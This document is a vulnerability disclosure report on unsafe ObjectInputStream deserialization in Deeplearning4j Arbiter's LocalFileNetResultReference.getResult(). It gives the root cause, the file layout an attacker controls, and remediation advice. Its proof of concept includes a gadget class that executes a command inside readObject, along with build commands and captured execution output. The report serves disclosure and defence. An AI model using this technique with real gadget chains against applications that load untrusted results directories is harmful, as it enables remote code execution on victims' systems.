# DL4J Arbiter `LocalFileNetResultReference.getResult()` — unsafe `ObjectInputStream` deserialization → RCE **Target:** Eclipse Deeplearning4j — **Arbiter** hyperparameter-optimization module **Vulnerable artifact:** `org.deeplearning4j.arbiter:arbiter-deeplearning4j` **Verified version:** `1.0.0-beta7` (jars downloaded from Maven Central) **File:** `org/deeplearning4j/arbiter/saver/local/LocalFileNetResultReference.java` **Class / method:** `LocalFileNetResultReference.getResult()` (public, implements `ResultReference.getResult()`) **Vulnerability class:** CWE-502 Deserialization of Untrusted Data → Remote Code Execution **Impact:** Arbitrary code execution in the JVM of any application that reads/loads/resumes an Arbiter hyperparameter-search results directory whose contents are attacker-influenced. --- ## Root cause `LocalFileNetResultReference.getResult()` reconstructs a saved Arbiter optimization result from an on-disk results directory. To do so it deserializes two files with a **raw, unfiltered `java.io.ObjectInputStream`** — no `ObjectInputFilter`, no allow-list, no look-ahead class validation: ```java // LocalFileNetResultReference.java 25: import org.deeplearning4j.earlystopping.EarlyStoppingConfiguration; 32: import java.io.ObjectInputStream; ... 51: public OptimizationResult getResult() throws IOException { ... 58: EarlyStoppingConfiguration earlyStoppingConfiguration = null; 59: if (esConfigFile != null) { 60: try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(esConfigFile))) { 61: earlyStoppingConfiguration = (EarlyStoppingConfiguration) ois.readObject(); // <-- SINK #1 62: } catch (ClassNotFoundException e) { ... } ... 74: Object additionalResults; 75: if (additionalResultsFile.exists()) { 76: try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(additionalResultsFile))) { 77: additionalResults = ois.readObject(); // <-- SINK #2 78: } catch (ClassNotFoundException e) { ... } ... ``` `ois.readObject()` fully materializes whatever Serializable object graph is present in the file, running each object's `readObject()` / `readResolve()` gadget logic, **before** the post-hoc `(EarlyStoppingConfiguration)` cast at line 61. The cast only executes after the object is already built, so a `ClassCastException` is post-exploitation noise — the attacker's code has already run. Sink #2 (`additionalResults.bin`) doesn't even cast; it stores the deserialized `Object` directly. ## Attack surface / how the file gets there The two filenames are exactly the on-disk layout written by the companion writer `FileModelSaver.saveModel()`, which persists each candidate result under `baseDir//`: ``` baseDir//score.txt baseDir//model.bin baseDir//additionalResults.bin <-- SINK #2 input baseDir//earlyStoppingConfig.bin <-- SINK #1 input baseDir//numEpochs.txt ``` `LocalFileNetResultReference` is the `ResultReference` implementation Arbiter hands back (and reconstructs) when reading a saved results directory. Any application that resumes an interrupted optimization, aggregates results from shared/network storage, or otherwise reads an Arbiter results directory sourced from an untrusted party will hit `getResult()` and deserialize attacker-controlled `earlyStoppingConfig.bin` / `additionalResults.bin`. With any classpath gadget chain (e.g. commons-collections, and many others common in a DL4J deployment) this yields RCE. ## Distinctness / dedup This sink is **distinct** from the five previously reported DL4J/nd4j/datavec deserialization sinks: - `ModelSerializer.getObjectFromFile` - SameDiff `deserialize` - nd4j `DataSet.load` - `WordVectorSerializer` - DataVec `TDigestDeserializer` It lives in the **Arbiter** module (`arbiter-deeplearning4j`), a separate Maven artifact and code path that none of the prior reports touch. No known CVE covers Arbiter's `LocalFileNetResultReference`. --- ## Proof of Concept Verified by **actual execution** against the real released jars `arbiter-deeplearning4j-1.0.0-beta7.jar` + `arbiter-core-1.0.0-beta7.jar` (Maven Central), with `commons-io`, `deeplearning4j-nn` and `nd4j-api` on the classpath. ### `Evil.java` — stand-in gadget (proves code runs inside `readObject`) ```java import java.io.*; public class Evil implements Serializable { static final long serialVersionUID = 1L; private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); try { Process p = Runtime.getRuntime().exec(new String[]{"id"}); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) System.out.println("[EVIL-EXEC] id => " + line); p.waitFor(); } catch (Exception e) { throw new IOException(e); } } } ``` `Evil` stands in for any real classpath gadget chain — it proves the sink materializes and executes attacker-controlled `readObject` logic. In a real target the attacker uses an existing gadget (no `Evil` class needed on the victim classpath). ### `GenPayload.java` — writes the exact FileModelSaver layout Writes `score.txt="1.0"` and `earlyStoppingConfig.bin` = serialized `Evil` (malicious) or serialized `String` (benign negative control). ### `Harness.java` — victim Constructs `LocalFileNetResultReference` over the directory and calls the public `getResult()`. ### Build & run ``` javac -cp arbiter-deeplearning4j.jar:arbiter-core.jar -d out src/*.java java -cp out GenPayload maldir benigndir java -cp out:arbiter-deeplearning4j.jar:arbiter-core.jar:commons-io.jar:deeplearning4j-nn.jar:nd4j-api.jar Harness maldir ``` --- ## Captured evidence (verbatim) Environment: `openjdk version "25.0.4-ea"`; jars `arbiter-deeplearning4j-1.0.0-beta7.jar`, `arbiter-core-1.0.0-beta7.jar`, `commons-io-2.11.0`, `deeplearning4j-nn-1.0.0-M2.1`, `nd4j-api-1.0.0-M2.1`. ``` =========== MALICIOUS RUN =========== [HARNESS] calling getResult() on dir=maldir [EVIL-EXEC] id => uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin) [HARNESS] post-deser throwable: java.lang.ClassCastException: class Evil cannot be cast to class org.deeplearning4j.earlystopping.EarlyStoppingConfiguration (Evil and org.deeplearning4j.earlystopping.EarlyStoppingConfiguration are in unnamed module of loader 'app') =========== NEGATIVE CONTROL (benign serialized String) =========== [HARNESS] calling getResult() on dir=benigndir [HARNESS] post-deser throwable: java.lang.ClassCastException: class java.lang.String cannot be cast to class org.deeplearning4j.earlystopping.EarlyStoppingConfiguration (java.lang.String is in module java.base of loader 'bootstrap'; org.deeplearning4j.earlystopping.EarlyStoppingConfiguration is in unnamed module of loader 'app') maldir/earlyStoppingConfig.bin: Java serialization data, version 5 ``` ### Interpretation - **Malicious input** → `Evil.readObject()` fires during `ois.readObject()` at `LocalFileNetResultReference.java:61`, executing `id` **before** the failing `(EarlyStoppingConfiguration)` cast. The `ClassCastException` is post-exploitation noise. - **Negative control** (a benign serialized `String` in `earlyStoppingConfig.bin`) produces the *same* cast failure but **no `[EVIL-EXEC]` line and no command execution**, proving the `exec` originates from deserializing the attacker-controlled file content, not from the harness. - The identical primitive applies to sink #2 (`additionalResults.bin`, line 77). --- ## Remediation - Replace the raw `ObjectInputStream` with a hardened stream that installs a strict `ObjectInputFilter` allow-listing only the expected classes (`EarlyStoppingConfiguration` and its known members), rejecting everything else before `resolveClass`. - Prefer a non-executable serialization format (JSON/Protobuf) for persisted Arbiter results. - Treat any results directory not produced by the same trusted process as untrusted input.